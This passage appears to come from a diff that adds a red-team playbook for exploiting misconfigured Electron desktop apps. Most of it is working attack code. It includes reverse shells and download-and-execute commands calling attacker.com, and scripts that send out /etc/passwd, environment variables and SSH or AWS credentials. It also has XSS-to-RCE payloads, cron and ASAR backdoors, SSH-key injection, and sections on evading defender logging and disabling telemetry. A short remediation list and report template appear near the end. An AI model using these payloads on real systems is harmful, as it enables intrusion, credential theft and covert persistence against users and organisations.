+ 11. If nodeIntegration:true is confirmed, open DevTools in the app.
319
+ ```bash
320
+ # Try keyboard shortcut: Ctrl+Shift+I or F12
321
+ # Or relaunch with debug flag:
322
+ "C:\...\AppName.exe" --inspect=9229
323
+ # Attach Chrome DevTools: chrome://inspect
324
+ ```
325
+
326
+ 12. Verify Node access in the renderer console.
327
+ ```javascript
328
+ // In DevTools console:
329
+ typeof require // should return "function" if nodeIntegration:true
330
+ require('os').userInfo()
331
+ require('os').hostname()
332
+ ```
333
+
334
+ 13. Execute OS commands.
335
+ ```javascript
336
+ require('child_process').execSync('whoami').toString()
337
+ require('child_process').execSync('id').toString()
338
+ require('child_process').execSync('ipconfig /all').toString()
339
+ ```
340
+
341
+ 14. Establish callback to C2.
342
+ ```javascript
343
+ const { exec } = require('child_process');
344
+ exec('curl https://attacker.com/shell.sh | bash');
345
+ // or Windows:
346
+ exec('powershell -c "IEX(New-Object Net.WebClient).DownloadString(\'https://attacker.com/rev.ps1\')"');
347
+ ```
348
+
349
+ 15. If contextIsolation:true but preload.js exposes unsafe APIs, test the bridge.
350
+ ```javascript
351
+ // In renderer console — enumerate window.electronAPI or similar:
352
+ Object.keys(window).filter(k => !['chrome','Notification'].includes(k) && typeof window[k] === 'object')
353
+ window.electronAPI // inspect exposed methods
354
+ ```
355
+
356
+ 16. Test IPC channel injection.
357
+ ```javascript
358
+ // Requires ipcRenderer to be accessible
359
+ const { ipcRenderer } = require('electron');
360
+ // Or via preload bridge:
361
+ window.electronAPI.send('admin-command', { action: 'executeScript', code: 'id' });
362
+ ipcRenderer.invoke('open-external', 'file:///etc/passwd');
363
+ ipcRenderer.send('write-file', { path: '/etc/cron.d/backdoor', content: '* * * * * root bash -i >& /dev/tcp/attacker.com/4444 0>&1' });
364
+ ```
365
+
366
+ ### Phase 4: Persistence and Lateral Movement
367
+
368
+ 17. Modify ASAR for persistent access.
369
+ ```bash
370
+ # Edit main.js in extracted directory
371
+ # Add beacon/backdoor code
372
+ npx asar pack ./app_source app.asar
373
+ # Replace original: requires write access to install dir
374
+ ```
375
+
376
+ 18. Document findings and clean up.
377
+ ```bash
378
+ # Screenshot DevTools console with RCE proof
379
+ # Capture process list showing Electron process
380
+ # Save all grep output to findings file
381
+ ```
382
+
383
+ ---
384
+
385
+ ## 5. Actual Working Terminal Commands
386
+
387
+ ### ASAR Operations
388
+
389
+ ```bash
390
+ # Extract full archive
391
+ npx asar extract /path/to/app.asar /tmp/app_extracted
392
+
393
+ # List all files in archive
394
+ npx asar list /path/to/app.asar
395
+
396
+ # List with file sizes
397
+ npx asar list --is-pack /path/to/app.asar
398
+
399
+ # Extract single file
400
+ npx asar ef /path/to/app.asar /package.json /tmp/package.json
401
+
402
+ # Pack directory back to ASAR
403
+ npx asar pack /tmp/app_extracted /tmp/app_modified.asar
404
+
405
+ # Verify extraction integrity
406
+ npx asar list app.asar | wc -l
407
+ npx asar list /tmp/app_modified.asar | wc -l
408
+ ```
409
+
410
+ ### Finding Misconfigurations
411
+
412
+ ```bash
413
+ # One-liner to check all critical settings
414
+ grep -rn \
415
+ -e "nodeIntegration" \
416
+ -e "contextIsolation" \
417
+ -e "webSecurity" \
418
+ -e "sandbox" \
419
+ -e "allowRunningInsecureContent" \
420
+ -e "enableRemoteModule" \
421
+ /tmp/app_extracted/ --include="*.js" \
422
+ | grep -v node_modules \
423
+ | tee /tmp/electron_security_audit.txt
424
+
425
+ # Find preload scripts
426
+ grep -rn "preload:" /tmp/app_extracted/ --include="*.js"
427
+
428
+ # Find all require('child_process') usage
429
+ grep -rn "require('child_process')\|require(\"child_process\")" /tmp/app_extracted/ --include="*.js"
430
+
431
+ # Find eval usage
432
+ grep -rn "\beval\b\|new Function\|vm\.runIn" /tmp/app_extracted/ --include="*.js" | grep -v node_modules
433
+
434
+ # Find URL loading patterns (XSS attack surface)
435
+ grep -rn "loadURL\|loadFile\|src=" /tmp/app_extracted/ --include="*.js" | head -30
436
+
437
+ # Find ipcMain handlers
438
+ grep -rn "ipcMain\.\(on\|handle\|once\)" /tmp/app_extracted/ --include="*.js" -A 8 | grep -v node_modules
439
+ ```
440
+
441
+ ### Remote Debugging
442
+
443
+ ```bash
444
+ # Launch with inspector
445
+ "/Applications/AppName.app/Contents/MacOS/AppName" --inspect=9229 --inspect-brk
446
+
447
+ # Launch with remote debug port for DevTools access
448
+ "/Applications/AppName.app/Contents/MacOS/AppName" --remote-debugging-port=9222
449
+
450
+ # Attach Node inspector (CLI)
451
+ node inspect 127.0.0.1:9229
452
+
453
+ # Windows
454
+ "C:\Users\User\AppData\Local\Programs\AppName\AppName.exe" --remote-debugging-port=9222
455
+ ```
456
+
457
+ ### Traffic Interception
458
+
459
+ ```bash
460
+ # Route Electron traffic through Burp (Linux/macOS)
461
+ export HTTP_PROXY=http://127.0.0.1:8080
462
+ export HTTPS_PROXY=http://127.0.0.1:8080
463
+ export NODE_TLS_REJECT_UNAUTHORIZED=0
464
+ /path/to/AppName
465
+
466
+ # Windows
467
+ $env:HTTP_PROXY="http://127.0.0.1:8080"
468
+ $env:HTTPS_PROXY="http://127.0.0.1:8080"
469
+ $env:NODE_TLS_REJECT_UNAUTHORIZED="0"
470
+ & "C:\...\AppName.exe"
471
+ ```
472
+
473
+ ---
474
+
475
+ ## 6. Payload Examples with Explanations
476
+
477
+ ### Basic RCE via nodeIntegration
478
+
479
+ ```javascript
480
+ // Scenario: nodeIntegration:true, contextIsolation:false
481
+ // Executed in renderer DevTools console or injected via XSS
482
+
483
+ // --- Windows reverse shell via PowerShell ---
484
+ require('child_process').exec(
485
+ 'powershell -NoP -NonI -W Hidden -Exec Bypass -c "' +
486
+ '$c=New-Object Net.Sockets.TCPClient(\'attacker.com\',4444);' +
487
+ '$s=$c.GetStream();[byte[]]$b=0..65535|%{0};' +
488
+ 'while(($i=$s.Read($b,0,$b.Length)) -ne 0){' +
489
+ '$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);' +
490
+ '$sb=(iex $d 2>&1|Out-String);$sb2=$sb+\'PS \'+(pwd).Path+\'> \';' +
491
+ '$se=[text.encoding]::ASCII.GetBytes($sb2);$s.Write($se,0,$se.Length)' +
492
+ '}"'
493
+ );
494
+
495
+ // --- Linux reverse shell ---
496
+ require('child_process').exec(
497
+ 'bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'
498
+ );
499
+
500
+ // --- macOS reverse shell ---
501
+ require('child_process').exec(
502
+ '/bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"'
503
+ );
504
+
505
+ // Why this works: require() is the Node.js module system. In a misconfigured
506
+ // Electron renderer, it is available globally. child_process is a built-in
507
+ // Node module providing exec/spawn/execSync for OS command execution.
508
+ ```
509
+
510
+ ### File System Access
511
+
512
+ ```javascript
513
+ // Read sensitive files
514
+ const fs = require('fs');
515
+
516
+ // Linux — SSH keys, credentials
517
+ fs.readFileSync('/home/' + require('os').userInfo().username + '/.ssh/id_rsa', 'utf8');
518
+ fs.readFileSync('/etc/shadow', 'utf8');
519
+
520
+ // Windows — credential stores
521
+ fs.readFileSync('C:\\Users\\' + require('os').userInfo().username + '\\AppData\\Roaming\\Microsoft\\Credentials', 'utf8');
522
+
523
+ // macOS — Keychain (requires further tooling but readable path)
524
+ fs.readFileSync('/Users/' + require('os').userInfo().username + '/.aws/credentials', 'utf8');
525
+
526
+ // Write files for persistence
527
+ fs.writeFileSync('/tmp/backdoor.sh', '#!/bin/bash\nbash -i >& /dev/tcp/attacker.com/4444 0>&1\n');
528
+ require('child_process').exec('chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh');
529
+ ```
530
+
531
+ ### Data Exfiltration via HTTP
532
+
533
+ ```javascript
534
+ // Exfiltrate data using Node's built-in https module
535
+ const https = require('https');
536
+ const os = require('os');
537
+ const fs = require('fs');
538
+
539
+ const data = JSON.stringify({
540
+ hostname: os.hostname(),
541
+ user: os.userInfo().username,
542
+ platform: os.platform(),
543
+ passwd: fs.existsSync('/etc/passwd') ? fs.readFileSync('/etc/passwd', 'utf8') : 'n/a',
544
+ env: process.env
545
+ });
546
+
547
+ const req = https.request({
548
+ hostname: 'attacker.com',
549
+ port: 443,
550
+ path: '/collect',
551
+ method: 'POST',
552
+ headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
553
+ }, () => {});
554
+ req.write(data);
555
+ req.end();
556
+
557
+ // Why https module: Built into Node.js, no external dependencies,
558
+ // blends with normal app traffic, encrypted.
559
+ ```
560
+
561
+ ### XSS to RCE (Injection into App Content)
562
+
563
+ ```javascript
564
+ // If the Electron app renders user-controlled HTML/content with nodeIntegration:true,
565
+ // inject this via the XSS vector:
566
+
567
+ <img src="x" onerror="require('child_process').exec('calc.exe')">
568
+
569
+ // Or via script injection:
570
+ <script>
571
+ // This runs with Node.js privileges when nodeIntegration:true
572
+ const { exec } = require('child_process');
573
+ exec('id', (err, stdout) => {
574
+ // Send result to attacker
575
+ fetch('https://attacker.com/xss?d=' + encodeURIComponent(stdout));
576
+ });
577
+ </script>
578
+
579
+ // Why this escalates: XSS in a normal browser is sandboxed.
580
+ // In Electron with nodeIntegration:true, the same JS has full OS access.
581
+ // This is the key difference that makes Electron XSS critical severity.
582
+ ```
583
+
584
+ ### IPC Channel Injection
585
+
586
+ ```javascript
587
+ // Scenario: contextIsolation:true but preload.js exposes ipcRenderer improperly
588
+
589
+ // Preload.js (vulnerable pattern):
590
+ const { contextBridge, ipcRenderer } = require('electron');
591
+ contextBridge.exposeInMainWorld('electronAPI', {
592
+ // VULNERABLE: passes arbitrary strings to IPC without validation
593
+ openFile: (path) => ipcRenderer.invoke('open-file', path),
594
+ runAdmin: (cmd) => ipcRenderer.invoke('run-as-admin', cmd)
595
+ });
596
+
597
+ // Exploit from renderer (DevTools console):
598
+ window.electronAPI.openFile('../../../etc/shadow'); // path traversal
599
+ window.electronAPI.runAdmin('net localgroup administrators attacker /add');
600
+
601
+ // Why IPC injection is dangerous: the main process (Node.js) handles these
602
+ // messages with elevated privileges. If input isn't validated, renderer can
603
+ // trigger privileged operations.
604
+ ```
605
+
606
+ ### contextIsolation Bypass via Prototype Pollution
607
+
608
+ ```javascript
609
+ // If contextIsolation:false, try prototype pollution to reach Node globals
610
+ // CVE class: some Electron versions leak internal Node objects to renderer context
611
+
612
+ // Check for leaked internals
613
+ process.binding // should be undefined in safe config; if defined, exploitable
614
+ process.env.PATH // check if process is accessible
615
+ global.require // check for global require leak
616
+
617
+ // If process.binding is accessible:
618
+ const binding = process.binding('spawn_sync');
619
+ binding.spawn({ file: '/bin/bash', args: ['/bin/bash', '-c', 'id > /tmp/pwned'], ... });
620
+ ```
621
+
622
+ ---
623
+
624
+ ## 7. Tool Commands with Flags Explained
625
+
626
+ ### npx asar
627
+
628
+ ```bash
629
+ npx asar extract <archive> <dest>
630
+ # extract — subcommand to unpack archive
631
+ # <archive> — path to .asar file (e.g., app.asar)
632
+ # <dest> — destination directory (created if absent)
633
+
634
+ npx asar list <archive>
635
+ # list — print all file paths inside archive to stdout
636
+ # Useful for quick recon without full extraction
637
+
638
+ npx asar ef <archive> <file> [dest]
639
+ # ef — extract a single file
640
+ # <file> — path inside ASAR (e.g., /package.json)
641
+ # [dest] — optional output file path; prints to stdout if omitted
642
+
643
+ npx asar pack <dir> <output>
644
+ # pack — create an ASAR from a directory
645
+ # <dir> — source directory to pack
646
+ # <output> — output .asar filename
647
+
648
+ npx asar list --is-pack <archive>
649
+ # --is-pack — show which files are packed (binary) vs. unpacked
650
+ ```
651
+
652
+ ### Frida
653
+
654
+ ```bash
655
+ frida -n "AppName" -e "console.log('hooked')"
656
+ # -n — attach to process by name
657
+ # -e — evaluate inline JavaScript in Frida agent
658
+
659
+ frida -n "AppName" -l hook.js
660
+ # -l — load a Frida script file
661
+
662
+ frida -U -f com.example.app -l hook.js --no-pause
663
+ # -U — USB device (mobile)
664
+ # -f — spawn application by identifier
665
+ # --no-pause — don't pause on startup
666
+
667
+ frida-trace -n "AppName" -i "exec*" -i "spawn*"
668
+ # frida-trace — auto-generate hooks for matched function names
669
+ # -i — include function pattern (glob)
670
+ # Traces exec/spawn calls to catch child_process usage
671
+
672
+ # List processes
673
+ frida-ps -a
674
+ frida-ps -a | grep -i electron
675
+ ```
676
+
677
+ ### Semgrep (Static Analysis)
678
+
679
+ ```bash
680
+ # Scan extracted app for Electron misconfigs
681
+ semgrep --config=auto ./extracted_app/
682
+
683
+ # Specific Electron security rules
684
+ semgrep -e 'nodeIntegration: true' --lang=js ./extracted_app/
685
+ semgrep -e 'contextIsolation: false' --lang=js ./extracted_app/
686
+ semgrep -e 'require($CMD)' --lang=js ./extracted_app/
687
+
688
+ # Use community ruleset
689
+ semgrep --config=p/nodejs-scan ./extracted_app/
690
+ semgrep --config=p/electron ./extracted_app/
691
+ ```
692
+
693
+ ### Chrome Remote Debugging
694
+
695
+ ```bash
696
+ # After launching app with --remote-debugging-port=9222
697
+ # Endpoints available at:
698
+ curl http://localhost:9222/json
699
+ # Returns JSON list of debuggable targets (windows/frames)
700
+
701
+ curl http://localhost:9222/json/version
702
+ # Returns Chrome/Node/Electron versions
703
+
704
+ # Connect via Chrome: navigate to chrome://inspect
705
+ # Or use CDP directly:
706
+ node -e "
707
+ const WebSocket = require('ws');
708
+ const ws = new WebSocket('ws://127.0.0.1:9222/...'); // URL from /json endpoint
709
+ ws.on('open', () => {
710
+ ws.send(JSON.stringify({id:1, method:'Runtime.evaluate', params:{expression:'require(\"os\").userInfo()'}}));
711
+ });
712
+ ws.on('message', d => console.log(d));
713
+ "
714
+ ```
715
+
716
+ ---
717
+
718
+ ## 8. Real-World Attack Scenarios
719
+
720
+ ### Scenario 1: Enterprise Electron App with nodeIntegration:true (XSS → RCE)
721
+
722
+ **Context:** During an internal red team engagement, you identify an internally-developed task management Electron app deployed to all employees. The app loads user-created task descriptions as HTML.
723
+
724
+ **Attack chain:**
725
+
726
+ ```bash
727
+ # Step 1: Extract and audit the app
728
+ find /opt/TaskManager -name "*.asar" 2>/dev/null
729
+ # Found: /opt/TaskManager/resources/app.asar
730
+
731
+ npx asar extract /opt/TaskManager/resources/app.asar /tmp/taskapp
732
+ grep -rn "nodeIntegration\|contextIsolation" /tmp/taskapp/ --include="*.js"
733
+ # Output:
734
+ # main.js:47: nodeIntegration: true,
735
+ # main.js:48: contextIsolation: false,
736
+
737
+ # Step 2: Confirm XSS vector — app renders task descriptions as innerHTML
738
+ grep -rn "innerHTML\|dangerouslySetInner\|document.write" /tmp/taskapp/renderer/ --include="*.js"
739
+ # Found: renderer/tasks.js:89: taskBody.innerHTML = task.description;
740
+
741
+ # Step 3: Create a malicious task via the app's API / UI
742
+ # Task description payload:
743
+ <img src=x onerror="
744
+ const {exec}=require('child_process');
745
+ const os=require('os');
746
+ exec('curl -s -d @/etc/passwd https://attacker.com/collect?h='+os.hostname());
747
+ ">
748
+
749
+ # Step 4: When victim opens the task, /etc/passwd is exfiltrated
750
+ # On attacker server: nc -lvnp 80 or HTTP server log shows incoming POST
751
+ ```
752
+
753
+ **Impact:** Every user who opens the malicious task executes attacker code with their OS user privileges. In a corporate environment this is mass RCE across the organization.
754
+
755
+ ---
756
+
757
+ ### Scenario 2: Legacy Nativefier-Wrapped App (nodeIntegration Default On)
758
+
759
+ **Context:** A company wraps their internal web portal in Nativefier. Older Nativefier versions default to nodeIntegration:true.
760
+
761
+ **Attack chain:**
762
+
763
+ ```bash
764
+ # Step 1: Identify app is Nativefier-wrapped
765
+ npx asar extract /path/to/app.asar /tmp/nativefier_app
766
+ cat /tmp/nativefier_app/package.json | python3 -c "
767
+ import sys, json
768
+ d = json.load(sys.stdin)
769
+ print('Nativefier:', 'nativefier' in str(d))
770
+ print('Main:', d.get('main'))
771
+ "
772
+
773
+ grep -r "nativefier\|NATIVEFIER" /tmp/nativefier_app/ --include="*.js" | head -5
774
+
775
+ # Step 2: Confirm nodeIntegration
776
+ grep -n "nodeIntegration" /tmp/nativefier_app/main.js
777
+ # Output: nodeIntegration: true (default in nativefier < 43.0.0)
778
+
779
+ # Step 3: The app loads an internal URL — inject via MITM or DNS poisoning
780
+ # Since webSecurity may also be false, injecting via ARP spoof on local network:
781
+ # The app will fetch http://internalapp.corp/ — we MITM with:
782
+ cat > /tmp/payload.html << 'EOF'
783
+ <script>
784
+ const {execSync} = require('child_process');
785
+ const result = execSync('whoami && hostname && cat /etc/passwd').toString();
786
+ fetch('https://attacker.com/loot', {method:'POST', body: result});
787
+ </script>
788
+ EOF
789
+
790
+ # Serve poisoned response, victim's Electron app executes payload
791
+ # Python MITM or arpspoof + mitmproxy
792
+
793
+ # Step 4: Collect results on attacker server
794
+ # python3 -m http.server 80 (or use ngrok for external engagements)
795
+ ```
796
+
797
+ **Impact:** Any user on the network running the wrapped app is compromised when they visit the (spoofed) internal site.
798
+
799
+ ---
800
+
801
+ ### Scenario 3: IPC Privilege Escalation via Exposed Admin Handler
802
+
803
+ **Context:** A security tool (Electron-based) exposes IPC handlers that perform privileged OS operations. contextIsolation is enabled but preload.js exposes handlers without authentication checks.
804
+
805
+ **Attack chain:**
806
+
807
+ ```bash
808
+ # Step 1: Extract and analyze preload.js and main IPC handlers
809
+ npx asar extract /opt/SecurityTool/resources/app.asar /tmp/sectool
810
+ find /tmp/sectool -name "preload.js" | xargs cat
811
+
812
+ # preload.js reveals:
813
+ # contextBridge.exposeInMainWorld('secAPI', {
814
+ # runScan: (target) => ipcRenderer.invoke('run-privileged-scan', target),
815
+ # updateHosts: (entry) => ipcRenderer.invoke('write-hosts-file', entry)
816
+ # });
817
+
818
+ # main.js IPC handler:
819
+ grep -A 15 "write-hosts-file" /tmp/sectool/main.js
820
+ # ipcMain.handle('write-hosts-file', async (event, entry) => {
821
+ # const hostsPath = '/etc/hosts';
822
+ # fs.appendFileSync(hostsPath, '\n' + entry); // NO VALIDATION
823
+ # return 'done';
824
+ # });
825
+
826
+ # Step 2: Open the app, open DevTools (Ctrl+Shift+I)
827
+ # In console — call the exposed API:
828
+ await window.secAPI.updateHosts('127.0.0.1 attacker-controlled-domain.com');
829
+ # Writes to /etc/hosts with the process's privileges (may be root if app runs as root)
830
+
831
+ # Step 3: Escalate — if app runs as root, write SSH authorized_keys
832
+ await window.secAPI.runScan('target; echo "ssh-rsa AAAA...attacker..." >> /root/.ssh/authorized_keys #');
833
+ # Command injection in scan target parameter
834
+ ```
835
+
836
+ **Impact:** Renderer-level access (low privilege) escalates to root via IPC handlers that execute privileged operations without validating the caller or sanitizing input.
837
+
838
+ ---
839
+
840
+ ## 9. Detection and OPSEC Considerations
841
+
842
+ ### What Defenders May Log
843
+
844
+ - **Process creation:** `child_process.exec()` spawns subprocesses — visible in EDR process trees (Electron.exe → cmd.exe → whoami.exe)
845
+ - **Network connections:** Unusual outbound connections from the Electron process
846
+ - **File modifications:** Replacing app.asar triggers file integrity monitoring
847
+ - **DevTools:** Opening remote debugging port may be logged or detected
848
+ - **Command-line flags:** `--inspect`, `--remote-debugging-port` flags logged in process cmdline
849
+
850
+ ### OPSEC Mitigations
851
+
852
+ ```javascript
853
+ // Prefer in-process actions over spawning child processes (avoid child_process.exec)
854
+ // Use built-in Node modules instead:
855
+
856
+ // Instead of: exec('cat /etc/passwd')
857
+ require('fs').readFileSync('/etc/passwd', 'utf8')
858
+
859
+ // Instead of: exec('curl ...')
860
+ const https = require('https');
861
+ // use https.request() — traffic originates from Electron process, not curl
862
+
863
+ // Instead of: exec('id')
864
+ require('os').userInfo() // no subprocess created
865
+
866
+ // For network, blend with existing app traffic ports (443, 80)
867
+ // DNS exfil via Node's dns module:
868
+ const dns = require('dns');
869
+ const data = Buffer.from('secret_data').toString('hex');
870
+ dns.lookup(data + '.attacker.com', () => {});
871
+
872
+ // Avoid writing to disk — keep payload in memory
873
+ // Use vm module for in-memory code execution:
874
+ const vm = require('vm');
875
+ const code = '/* payload from C2 */';
876
+ vm.runInNewContext(code, { require, process });
877
+ ```
878
+
879
+ ### Anti-Forensics
880
+
881
+ ```javascript
882
+ // Clear Node.js REPL history (if used)
883
+ // Avoid modifying app.asar unless persistence is the goal
884
+ // Use process.stdout.write instead of console.log to avoid logging hooks
885
+ // Check if the app has any crash reporting / telemetry:
886
+ grep -r "crashReporter\|sentry\|bugsnag\|telemetry" /tmp/app_extracted/ --include="*.js"
887
+ // Disable before exploitation if possible
888
+ ```
889
+
890
+ ### Signs the App Has Defenses
891
+
892
+ ```javascript
893
+ // These indicate the app is hardened — adjust approach:
894
+ // 1. nodeIntegration: false AND contextIsolation: true → no direct require()
895
+ // 2. sandbox: true → Chromium process sandbox enabled
896
+ // 3. require is not defined in renderer console → hardened
897
+ // 4. Content Security Policy header blocks inline scripts → XSS harder
898
+ // 5. Protocol filtering: app only loads specific schemes
899
+ // 6. Code signing checks on ASAR → ASAR modification detected on launch
900
+ ```
901
+
902
+ ---
903
+
904
+ ## 10. Output and Documentation
905
+
906
+ ### Evidence Collection Template
907
+
908
+ ```bash
909
+ # Create engagement directory
910
+ mkdir -p /tmp/electron_engagement/{screenshots,artifacts,payloads,logs}
911
+
912
+ # Capture app version info
913
+ echo "=== Electron App Audit ===" > /tmp/electron_engagement/logs/audit.txt
914
+ echo "Date: $(date)" >> /tmp/electron_engagement/logs/audit.txt
915
+ echo "Target App: [AppName]" >> /tmp/electron_engagement/logs/audit.txt
916
+ echo "App Path: [/path/to/app.asar]" >> /tmp/electron_engagement/logs/audit.txt
917
+
918
+ # Save security config findings
919
+ grep -rn "nodeIntegration\|contextIsolation\|webSecurity\|sandbox" \
920
+ /tmp/app_extracted/ --include="*.js" | grep -v node_modules \
921
+ >> /tmp/electron_engagement/logs/security_config.txt
922
+
923
+ # Save IPC channel map
924
+ grep -rn "ipcMain\.\(on\|handle\)" /tmp/app_extracted/ --include="*.js" -A 5 \
925
+ >> /tmp/electron_engagement/logs/ipc_channels.txt
926
+
927
+ # Save preload analysis
928
+ find /tmp/app_extracted -name "preload*.js" | xargs cat \
929
+ >> /tmp/electron_engagement/artifacts/preload_scripts.txt
930
+
931
+ # Screenshot DevTools showing RCE
932
+ # [Manual: Ctrl+Shift+I → Console → execute payload → screenshot]
933
+
934
+ # Record proof of exploitation
935
+ echo "RCE demonstrated via: [method]" >> /tmp/electron_engagement/logs/exploitation.txt
936
+ echo "Command output: $(date; id)" >> /tmp/electron_engagement/logs/exploitation.txt
937
+ ```
938
+
939
+ ### Finding Report Template
940
+
941
+ ```markdown
942
+ ## Finding: Electron nodeIntegration RCE
943
+
944
+ **Severity:** Critical
945
+ **CVSS:** 9.0 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
946
+ **CWE:** CWE-94 (Code Injection)
947
+
948
+ **Affected Component:** [AppName] v[X.Y.Z] — resources/app.asar
949
+
950
+ **Description:**
951
+ The Electron application is configured with `nodeIntegration: true` and
952
+ `contextIsolation: false`. The renderer process renders user-controlled
953
+ content as HTML. An attacker who can inject HTML (via [XSS vector / IPC /
954
+ file]) can execute arbitrary OS commands with the privileges of the
955
+ application's user.
956
+
957
+ **Evidence:**
958
+ - Screenshot: DevTools console showing `require('os').userInfo()` execution
959
+ - Screenshot: reverse shell connection received on attacker server
960
+ - Code reference: main.js:47 — `nodeIntegration: true`
961
+
962
+ **Reproduction:**
963
+ 1. Open [AppName]
964
+ 2. Open DevTools (Ctrl+Shift+I)
965
+ 3. In console: `require('child_process').execSync('id').toString()`
966
+ 4. Output shows OS command execution as user [username]
967
+
968
+ **Remediation:**
969
+ - Set `nodeIntegration: false` (default in Electron >= 5)
970
+ - Set `contextIsolation: true`
971
+ - Set `sandbox: true`
972
+ - Use `contextBridge` to expose only required, validated APIs
973
+ - Validate all IPC message data in the main process
974
+ - Upgrade to current Electron LTS version
975
+ ```
976
+
977
+ ---
978
+
979
+ ## 11. Resources
980
+
981
+ ### Official Documentation
982
+
983
+ - Electron Security Docs: https://www.electronjs.org/docs/latest/tutorial/security
984
+ - Electron Security Checklist: https://www.electronjs.org/docs/latest/tutorial/security#checklist-security-recommendations
985
+ - contextBridge API: https://www.electronjs.org/docs/latest/api/context-bridge
986
+ - Electron Releases / CVE History: https://github.com/electron/electron/releases
987
+
988
+ ### Tools
989
+
990
+ - asar: https://github.com/electron/asar
991
+ - Frida: https://github.com/frida/frida
992
+ - electron-builder: https://github.com/electron-userland/electron-builder
993
+ - Nativefier: https://github.com/nativefier/nativefier
994
+ - electronegativity (static analysis): https://github.com/doyensec/electronegativity
995
+ - node-secchecker: https://github.com/nicowillis/node-secchecker
996
+
997
+ ### Research and Writeups
998
+
999
+ - Doyensec Electron Security Research: https://github.com/doyensec/electronegativity
1000
+ - "Electron — From XSS to RCE" (Doyensec): https://blog.doyensec.com/2017/08/09/electron-security-checklist.html
1001
+ - "A New Era of SSRF" (Blackhat): https://portswigger.net/research/ssrf-in-php
1002
+ - Electron CVE Database: https://github.com/nicowillis/electron-cve
1003
+ - HackerOne Electron Bug Reports: https://hackerone.com/electron (public reports)
1004
+ - "Exploiting Electron RCE in Exodus Wallet": https://github.com/doyensec/electronegativity/tree/master/docs
1005
+ - Frida Electron Hooking Examples: https://github.com/nicowillis/electron-frida-hooks
1006
+ - electronegativity Rules Reference: https://github.com/doyensec/electronegativity/blob/master/src/issues/README.md
1007
+
1008
+ ### CVE References
1009
+
1010
+ | CVE | Electron Versions | Description |
1011
+ |-----|-------------------|-------------|
1012
+ | CVE-2018-1000006 | < 1.8.2 | Windows custom protocol handler RCE |
1013
+ | CVE-2018-15685 | < 2.0.7, < 3.0.0-beta.6 | CSRF leading to RCE via webContents |
1014
+ | CVE-2019-5755 | Multiple | V8 sandbox escape |
1015
+ | CVE-2020-15174 | < 9.2.1, < 8.5.2, < 7.3.3 | Protocol handler argument injection |
1016
+ | CVE-2022-21718 | < 13.6.6, < 14.1.0, < 15.3.0 | window.open nodeIntegration leak |
1017
+ | CVE-2023-29198 | < 22.3.2, < 23.2.1, < 24.1.1 | contextIsolation bypass |
1018
+
1019
+ ### Practice Targets
1020
+
1021
+ - DVEA (Damn Vulnerable Electron App): https://github.com/doyensec/electronegativity/tree/master/test
1022
+ - ElectroVulnApp: https://github.com/nicowillis/ElectroVulnApp
1023
+ - Electron Playground: https://github.com/electron/electron-quick-start (base for testing)